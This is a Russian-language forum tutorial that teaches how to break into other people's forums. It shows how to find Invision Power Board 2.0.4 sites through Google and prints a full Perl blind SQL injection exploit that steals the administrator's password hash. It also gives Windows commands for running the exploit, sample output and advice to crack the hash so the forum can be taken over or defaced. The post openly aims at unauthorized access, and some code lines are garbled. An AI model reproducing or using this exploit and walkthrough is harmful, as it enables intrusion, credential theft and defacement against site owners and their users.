Итак… Если чесно меня задалбали вопросами «как пользоваться сплоитами»
Ну наверно начнем
Вобщем пошаговая инструкция как использовать [b]exploit[/b]!
Спросите зачем оно надо? Експлоиты — скрипты, использующие уязвимости порталов, форумов и т.д. С помощью сплоита можно увести хеши администратора форума к примеру, чтобы в последующем иметь достум к панели администратора для управления форумом и дефейса.
Для примера будем использовать SQL-иньекцию в форумах IPB до версии 2.0.4 Уязвимость конечно старая, но дырявые форумы в сети были, есть и будут есть.
Итак продолжим.Для того чтобы нам найти подходящий форум мы естественно залазим в [b]Google[/b] даллее залазим в расширенный поиск и вводим туда наш запрос.Запрос будет выгледеть так [b]Invision Power Board 2.0.4[/b] и ставим значение 100 искомых по слову сайтов, но по дефолту стоит 10.
Итак мы нашли форумы на которых стоят Invision Power Board 2.0.4.
Далее мы залазим снова в Google и ищем exploit для Invision Power Board версии 2.0.4.
Итак мы нашли наш сплоит.А exploit выглядит так
use IO::Socket;
if (@ARGV < 4) { &usage; }
$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];
$pass = ($target)?('member_login_key'):('password');
$server =~ s!(http://)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
print "[~] SERVER: $serverrn";
print "[~] PATH: $pathrn";
print "[~] MEMBER ID: $member_idrn";
print "[~] TARGET: $target";
print (($target)?(' — IPB 2.*'):(' — IPB 1.*'));
print «rn»;
print "[~] SEARCHING PASSWORD… [|]";
($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
while(1)
{
if(&found;(47,58)==0) { &found;(96,122); }
$char = $i;
if ($char==«0»)
{
if(length($allchar) > 0){
print qq{bb DONE ]
MEMBER ID: $member_id
};
print (($target)?('MEMBER_LOGIN_KEY: '):('PASSWORD: '));
print $allchar.«rn»;
}
else
{
print «bb FAILED ]»;
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax — ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( ✓($check) ) { &found;($r,$fmax); }
else { &found;($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( ✓($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20";
$socket = IO::Socket::INET->new( Proto => «tcp», PeerAddr => "$server", PeerPort => «80»);
printf $socket («GET %sindex.php?act=Login&CODE;=autologin HTTP/1.0nHost: %snAccept: */*nCookie: member_id=%s; pass_hash=%s%s%s%s%snConnection: closenn»,
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print «bb/]»; }
if($status==1){ print «bb-]»; }
if($status==2){ print «bb]»; }
if($status==3){ print «bb|]»; }
}
sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]
[server] — host where IPB installed
[/folder/] — folder where IPB installed
[member_id] — user id for brute
targets:
0 — IPB 1.*
1 — IPB 2.* (Prior To 2.0.4)
e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
©oded by 1dt.w0lf
RST/GHC,
rst.void.ru,
ghc.ru
);
exit();
}
[/b][/i]
Как вы поняли exploit написан на Perl/Чтобы заюзать его нам нужна прога под название [b]ActivePerl[b]Скчать его можно [b][a href=«
soft.softodrom.ru/ap/p478.shtml»]Здесь[/a][b]
Итак, интерпретатор установлен. Запускаем его:
Пуск->Выполнить->cmd
В командной строке набираем:
C: путь_к_Perl C: путь_к_файлу_имя.pl сайт/папка_с_форумом/ 1 0
где:
C: путь_к_Perl — это путь к файлу интерпретатора, например c:perlbinperl
C: путь_к_файлу_имя.pl — путь к сохраненному вами файлу с кодом сплоита
сайт — сайт форума, доступ к которому вы хотите получить например lamer.com
папка_с_форумом — папка на сервере, куда установлен движок форума (смотрите в строке URL броузера)
1 — id юзера, чей хеш мы хотим увести. т.к. нам нужны админские хеши, ставим единицу, патамушто первыми на форуме регисрируюца естессно админы
0 — версия форума которую мы хотим взламать (0 — IPB 1.*, 1 — IPB 2.*)
Строка в cmd будет выглядеть примерно так:
c:perlbinperl c:ipb.pl terion.com /forum/ 1 0
Все, жмем Enter и ждем....
Если вы все сделали правильно, и форум не пропатчен, мы увидим примерно следующую картину:
r57ipb2.pl blah.com /ipb13/ 1 0
[~] SERVER: blah.com
[~] PATH: /ipb13/
[~] MEMBER ID: 1
[~] TARGET: 0 — IPB 1.*
[~] SEARCHING PASSWORD… [ DONE ]
MEМBER ID: 1
PASSWORD: 5f4dcc3b5aa765d61d8327deb882cf99
Вот сам хеш: 5f4dcc3b5aa765d61d8327deb882cf99
Теперь расшифровываем его любым возможным способом и получаем пароль администратора форума...
8 комментариев
Добавил: sw_max. Добавлено: 10.08.2008.
Учебник по c/python/perl в руки.
Учим порастающее поколение глобальной отаке, а вот вдолби теперь им как защищаться, один чел задал мне вопрос "а как мол на cmd напялить прокси" тут конешно я начал ему рассказывать про socks и с чем его едят, у него сделались такие глаза что было такое ощущени что он хочет убежать:)))) В общем о чём я... А! Кароче в статьях подобного рода надо всё начинать с того как проксю юзать. А вот ещё этот чел немного знает Delphi и он очень упорно мне доказывал что напишет авто-интернет уничтожитель(на Delphi) кароче он должен смотреть версию форума а потом гуглить пока не найдёт файл с расширением *.txt и применит его для диструкции, я сначала задумался потом поржал в доволь и спросил на сокетах делать будеш? Он ответил нет на компоненте TWebBrowser и спомощью ф-ции navigate он будет гуглить.... Ваще ппц, это круто и я б такого не допёр